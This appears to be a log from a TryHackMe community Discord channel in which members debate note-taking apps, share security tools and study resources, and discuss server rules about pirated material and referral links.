i just started using cherrytree and you guys are telling me it's broken?
@fringe spire CherryTree isn't broken!
Try it
@fringe spire CherryTree isn't broken!
@spiral zodiac well it's not broken for me either 🤷♂️
Joplin looks nice, its not enough to sway me from OneNote but looks solid
CherryTree is easily the best if you want functional @fringe spire
The only thing it lacks is sync features, but github sorts that out pretty nicely.
If you want something pretty, use Joplin or Notion. If you want something functional, use Cherrytree
If you want something M&M (Muir and Mayor) approved, use CherryTree
(Just ignore Dark with his Notion fanaticism)
!dark
Why is no one recommending VS Code + Markdown :'(
Joplin gang 
Because CherryTree 😁
Why is no one recommending Vim Wiki?
XMind + subl
a newbie questions, for web directory enumeration, what would be the advise on doing this better? eg. first use gobuster, dirbuster, dir check if any additional learn, then switch to another set of wordlists.
a newbie questions, for web directory enumeration, what would be the advise on doing this better? eg. first use gobuster, dirbuster, dir check if any additional learn, then switch to another set of wordlists.
@flint basin this is more of a #general question 🙂
oops, got it. thanks mate
Can someone link a website where I can download gobuster? I’m using gobuster because I have watched many videos on gobuster and ik how to use it
sudo apt-get install gobuster
i cant get gobuster to install? anyone know how?
i cant get gobuster to install? anyone know how?
@lament hound what OS?
windows
This wasn't posted here before but it's basically a single place for snippets related to THM (leaving sub-only rooms, listing running VMs etc.)
https://github.com/thm-community/snippets
if you have any ideas/snippets to contribute then make an issue :D
Why is no one recommending VS Code + Markdown :'(
@low ermine you can hire me for that if you want
I wanna throw that into the bot
Probably a help.tryhackme.com article and then just add it as a docs topic in the bot owo
@sturdy shell I wanna throw you into the bot 😉
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@tribal gull can you please share the tool which you use to take notes while solving boxes and creating your write ups?
i usually just use vscode and markdown files
for my writeups i use jekyll with markdown files
thanks
no 
What kinds of secret scripts you have?
Make them public :p
i don't know where they are
lies
Make a http server on your root. We'll find them.
Any recommended vscode plugins? I added vim, ssh and rdp but need more recs
Oh and I have the python ones
Hey Guys! I am new to InfoSec. Can you guys suggest me some good study material on Bug Bounty and some InfoSec stuff in general? I just started doing THM.
This was in the bug bounty channel posted by dark which is a bunch of bug bounty writeups that may help what you’re looking for
@lyric roost ^^
i'm new to mobile app pentesting. any good resources/tutorials/courses/labs?
Don't know how helpful it'd be, a friend of mine asked for something like this so I am sharing it here too.
For the time being, I'll try to push more of my notes to it.
At the risk of starting a war. What advantages do a notetaking app such as notion or cherrytree have over just writing in markdown in vscode?
YOU DARE SAYING THAT
OMG
OMG
jk dude, it's just personal preference
i use joplin
Remember, there are no stupid questions, only stupid people 🙂

lol haha
Cherrytree is best
nah, it doesn't really make a difference each of us has their own preferences
Notion do cloud sync
So not many advantages to using joplin or cherrytree over vscode?
cloud sync go brrrrrr
Joplin does cloud sync too
But the answer is that any of them give you a more structured method
i'm sorry Muir but you are at a loss here 
but there are masochists around here that use vimwiki
you're meh
It does the job
I do love vim....... But I just use vim keybindings in vscode
Joplin >
Vim > *
It really doesn't though
I really like Notion. The admins like Notion
you pick 1 small thing over 100 better options
you stay stuck in the past. some of us progree
Neither of those offer a decentralised approach to notes
I use a different Notebook for everything I do
I don't want them all clumped in one workspace
That's your disorganisation 🤷♂️
See, that just looks messy to me
They're grouped like that, and you get a nice cover page
Still looks messy
It seems like most ppl like CT, Joplin, Notion > VSCode
I was just trying to figure that part lol
You started a war 😆
i have my work stuff there too
Is that not eCPPT, Chev?
smh
thanks tho
And no love for OneNote or Evernote it seems, everyone here uses apps I hadn't heard of before, I was just wondering what these apps in particular have that appeal to the pentest community
evernote got breached on multiple occasions
there's google keep note too
i use that for my shopping basket
Ahh, so that makes sense why security ppl don't like that. Yea, I uses google keep all the time for lists
Pretty much if it is a disposable list, keep is the way to go for me. But if you want to actually keep and organize it, it is missing a bit
agreed
it's down to personal preference
i like centralised stuff, so i go for joplin
CherryTree ftw
muir is muir so he likes KeEpInG sTuFf SePaRaTeD

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Personal preference to a degree. I mean it seems the serious ppl gravitate to 3 apps and eschew the rest. Kind of like no one who codes in notepad despite it being pre-installed
i do code in notepad ++
y tho
like for quick stuff
I use IDLE for python still
just cba to install ssms or whatever else needed
Still, vscode loads just as fast and is much better
I used IDLE light mode for the first 2 years of pythoning...... My eyes thank me for switching
Vim
I use vscode for anything above about 20 lines
Vim ftw
Anything that I'll use more than once
Do Joplin, Notion, and CherryTree all have a dark mode? Bc that is a dealbreaker for me. I know that is kind of like hating a car for not having enough cup holders but it is what it is
Notion does for sure
yes. joplin has
I couldn't get Joplin's working right on Windows
a few versions of dark mdoe to be fair
Vim is an acceptable choice for editor 🙂 Emacs, Atom, Sublime, Vim, and Vscode are the big ones
Emacs, ew
I have vscode with vim keybindings and atom themeing 🙂
I agree emacs ewww but it is still a more popular choice than notepad++ or idle....
and you got keyboard bindings too fyi
IDLE is good if you don't have Vim
yes
Cherrytree, if you please
^
Does CT have vim keybindings?
I tried them all and settled on Notion
Uh oh, nano guy is here
Eww vim
it's a matter of giving them a go and seeing what you like
against you with vim
Because you're switching teams every five minutes depending on whether we're talking about CT or Vim 😆
that's for certain
I'm never with you on Vim. EVER.
🤣
And perl
I got Vim onto Windows today.
perl FTW
Oh, yeah, definitely
Does Notion or Cherrytree have vim keybindings?
notion does
Are we talking pumpkin spice latte basic?
no, but editing options
while wearing ugg boots, yoga pants and a north face jacket basic?
Yep. That basic.
no, but editing options
@faint sluice You can do a lot
I can't show you 90% of it because it's THM stuff
the interface didn't show much when I downloaded it
you need to do HTML tags?
Yeah the interface doesn't show a lot straight away, but the shortcuts and options are good
No
That's a code snippet
With HTML highlighting
ahh ok
I don't really know where else to drop this, but I think it's important this doesn't get buried.
VMWare will be seeing a price drop ($250->$199 for new licenses) with VMWare 16, releasing in October. Workstation and Fusion will also be set at the same price. What's nice is that people who have bought VMWare Workstation Pro or Player 15.5 after August 15th are being given keys to VMWare Workstation 16. If you're planning on buying a VMWare Workstation license soon, but not needing it immediately, it might be worth holding out to save $50. No news on if VMWare for Education will see a further price drop.
https://blogs.vmware.com/workstation/2020/08/announcing-workstation-16-and-fusion-12.html
Looks to be a course/challenge meant to help you learn Linux over a month. Could be worth checking out for people who want to level up their confidence with Linux.
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spiffy, I was planning on buying vmware but don't need it
I made a multi threaded web fuzzer that can look for http codes or strings in responses
still beta but enjoy
that's definitely getting a star (:
Hey Guys I want to start with web application penetration testing. Any good resources/practice places ?
what kind of web apps
OWASP top 10 room on THM. @uncut ether
Yeah I've done that
But a bit more of web apps
Especially XSS , SQLI and All that.
A great room on sqli just got released couple days ago @whokilleddb
There's burp academy as well
wrong chat
Hey! Some major QoL updates with RustScan in the last month since I posted 🥳 😄
+ No longer Dos' the server by default (but still fast, just not 30k ports / second by default fast)
+ Now supports multiple IP address scanning
+ Windows support
+ Linux static binary (Windows is being worked on)
+ Randomised port ordering (no more sequential scans!)
+ Host resolution (can now use domain names as hosts)
+ New Docker image (thank you Cmnatic <3 )
+ Specify which ports to scan
+ Added a link to admin.tryhackme.com (the most important feature by far)
@tepid patio does it support multiple ip ranges?
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I don’t know why every Time I scan with RUSTSCAN my network stops.
you’re probably not specify your batch file correctly
I prefer to use the docker container for it
I find it to be a lot more stable
Good idea I will try that. Thank you
Also wrong channel 😛
I added an extensions argument so it can now fuzz for files too, and hope you all bare with me while it’s still in beta and let me know if any issues/typos
@tepid patio that image
oh thats called a social share card its in the settings of the repo
face palm ty
Oh and I hated u for the 24hours I spent faffing making the new readme lol
Happy(er) with it now tho 🙂
I like it! Nice blue lines 😄
My advice regarding preparing for and taking the OSCP!
Slides link: https://docs.google.com/presentation/d/1IVWEYqJf0924OEr-NdJ3pn-FqKz-Lk765JhIQbkVJKw/edit?usp=sharing
Links to all of the resources are in the slide notes :)
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Exam notes template I created: https://www.notion.so/OSCP-Exam-Notes-EXAM_DATE-cb9d15436e4849339aaa35979d582735
@ebon valve do you have a .md of them :c
You can dup it and download them all as md's :D
Notion has an export as markdown file function
i don't use notion lolol
booo
You should, its amazing
meh
joplin
i can do it in a sec if you want
hardstuck joplin
i want to go through it anyway
oki dokes, plz do
I'll link this on my website soon as well
ty ty ❤️
the filenames are a bit wonky because why not but looks good
Nice :)
but that's a thing for tomorrow it's 2 am now
i want to put the modified oscp report markdown template on github soon™
it's just the old markdown one with multifile support and pagebreaks
i still need to finish off the thm api -> joplin integration
👀 that sounds interesting
yeah, joplin has an api where you can insert stuff
i read into it and played around for a bit
but didn't get a chance to finish it off
Notion says api coming soon
They have an import function already
oh look what I found, just what I need a learning tracker https://www.notion.so/1c16409723844c49991a48e85da49133?v=76850219650d4a178db52367bef3fab7
OSCP reports in LaTeX pls
👀
I will genuinely use LaTeX for mine
So writing a report for oscp is somewhat similar to writing a writeup for a challenge?
oh look what I found, just what I need a learning tracker https://www.notion.so/1c16409723844c49991a48e85da49133?v=76850219650d4a178db52367bef3fab7
@faint sluice The reason notion is the best
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@signal jolt there is no way that's legal please refer to the #rules :) I deleted your message
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ceh is old version
EHHH STILL CEH
and illegal
@fast mural don't post pirated material. This is an official warning under rule 9.
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From Sep 1st to 6th, you can use this link to sign up for lifetime access to my "Automate the Boring Stuff with Python" online course, which makes a great supplement to the book: https://t.co/Y8AnvZjYNV
Good luck on your programming journey!
Which markdown editor is best for linux ? I heard about notion but it's on windows and mac
Then what about typora and atom ?
Stegkraken Version v0.0.1 is out!
Hate waiting for stegcracker to finish rockyou after 28 hours? Well wait no more!
Stegkraken is a tool based on speed and efficiency for steganography, and this is only version one!
Written in pure rust :p
Created by @tepid patio and I
I haven't looked at the course or content yet, so cant say if tis any good, but might be of interest to some people. Practical Buffer Overflows for OSCP course on Udemy currently free, not sure for how long. https://www.udemy.com/course/practical-buffer-overflows-for-oscp/?couponCode=FREEMYBUFFER
That’s pretty cool
Yeah I saw that last night
Guy intently went all the way around disclosing it to Microsoft :/
That sounds a bit sketchy, least not you included your reference/invite code with it. If that offer is legitiimate from EC Council, you can simply state that. Please don't share reference/invite codes to services and sites @balmy tangle
It had a free coupon and it’s hacking resources, i think it belongs here, I’m not associated with EC Council in any way, someone shared this on a different server, and I thought it can belong here for me and to anyone to get the coupon
Sorry bud
your up.viral link redirected to try.eccouncil.org
you could've just linked the try.eccouncil.org link
oh
yea- even better catch
But I'm going to delete all my screenshots as this is resources :p
Fair enough, I'm not a moderator but be aware of referral links and how people take advantage of it
Beep Boop
Hopefully you weren't one of the people trying to take advantage of other people for free stuff 😉
No harm no fowl (:
I got it from this person minutes ago
sorry bud
Yes, cause I went there and I created my own coupon
I wouldn’t share someone else referral link
Is there like a rule to not share referral links to courses coupons?
If it's for personal gain it is against the rules
If you benefit from it in some description, it falls within Rule 3
I’m not associated with that website/service in any way, I just thought i can share it here for me to get the free courses and people to maybe do the same way.
Just always check the links you're sending. As CMN said "No harm no fowl", I'm not a mod but I promise you you're not in trouble and we should just move past it (in my opinion) :D
I’m really on phone, it’s a bit late and I’m tired to check anything now is the link a scam or what?
Its a pyramid scheme :/
So EC Council = bad?
It seems so
Okay, I’ll take your word
wow wow wow @prisma bison @balmy tangle EC-Council is not bad. I mean CEH is outdated but whatever that’s something completely different. The link was an upvir.al link that definitely does not sound like an EC-Council link
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I mean the CEH is basically a pyramid scheme EC Council is a legit organization with recognised certifications, especially by the US DoD
The CEH is only still accepted in 8570 because a boat load of current contractors would become ineligible as that's all many of their employees have ever done. Far better certifications now meet the equivalent standards in the policy.
Yesterday Mayor declared a PG13 abuse: You are CEH'd
does anyone know a website or something that has a bunch of useful commands and things with explanations of what they do? i’ve done a bit of digging and can’t really find much
commands for what?
@median cove Do you know linux well?
That'd a good starting point honestly. You'll want to be comfortable with the command line. Know how to navigate directories, grep, find, things like that.
The Learn Linux room might be helpful
Ah gotcha. I think the Linux Room may be helpful for you.
I just don't know what you know so its hard to give exact advice 🙂
should i bother finishing the room that it gives you to start With?🤣
i hope so i’m gonna feel real dumb if i’m not
i think its helpful having file sharing set up on VMs. I'm just letting you know this since its not often talked about - in the usual set ups I've seen.
Like people kinda just assume you know about this feature, or are focused on just getting the vm set up 🤷♀️
i’m unfamiliar with how to do that
vb
But ya, you'll wanna finish the welcome room since it sets up your vpn. The VPN will be used to access other rooms if you wanna keep doing THM.
So you'll just google virtual box file sharing
🤷♀️
wow wow wow @prisma bison @balmy tangle EC-Council is not bad. I mean CEH is outdated but whatever that’s something completely different. The link was an upvir.al link that definitely does not sound like an EC-Council link
@azure widget the link was generated by EC Council.
The worst thing is not being able to be creative with a CTF you’re trying to make :/
I just want a good way for someone doing my CTF to privesc from one user to another :(
Using privesc checklists like a shopping list is good fun
Hopefully this is relevant and a good place to share this.
https://twitter.com/paul_masek/status/1301730574768496641?s=20
I have an exciting project that I've been working on and would like to release to the public. First, 99% of the credit for this little project goes to the Detections Podcast and the hosts of the show, Shawn Thomas, Michael Jenks, and Charles Shirer.
I have taken the "detections" portion of their podcast and put it into a structured YAML file format complete with titles, descriptions, timestamps, references, ATT&CK URLs, and ATT&CK tags.
My hope is that this will be a nice trove of detections for security people to use for threat hunting as well as for rules in their SIEMs, IDSs, IPSs, EDRs, etc.
The logical next step that one could do is take these formatted detections and contribute new Sigma rules where none exist currently.
I have just done the first episode and it can be used as a template for the others. I and whoever else are moderators will review/accept pull requests for new YAML file submissions. The GitHub repo is https://github.com/itpropaul/Detections-Podcast-Detections
I have an exciting project that I've been working on and would like to release to the public. First, 99% of the credit for this little project goes to the @Detect_Pod podcast and the hosts of the show, @Understudy77, @ExiledAtraidez, and @bsdbandit.
any linux priv esc learning resources?
You can try looking at this
Thank you
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https://twitter.com/jonasLyk guy leaking windows 0day's on his twitter, take it with a grain of salt, since he claims he has 100,000$ worth of them 🤷
he's been around for a hot minute -- I wouldn't be surprised if he actually has more than that
If his story is true, can’t say I blame him.
Whew that’s spicy
Love the fact HTB is in there but THM isn't in the THM Discord server 🤣
haahha fuck i think posted wrong servers haha fuck
No problem 🙂
Try to watch the profanity please though 😄
haaha yess very sorry
Love the fact HTB is in there but THM isn't in the THM Discord server 🤣
@topaz gulch I saw that and was like
hahah all those servers im getting crazy sometimes
Hi guys whats a good security + test training website to use
I'll be honest, Tryhackme?

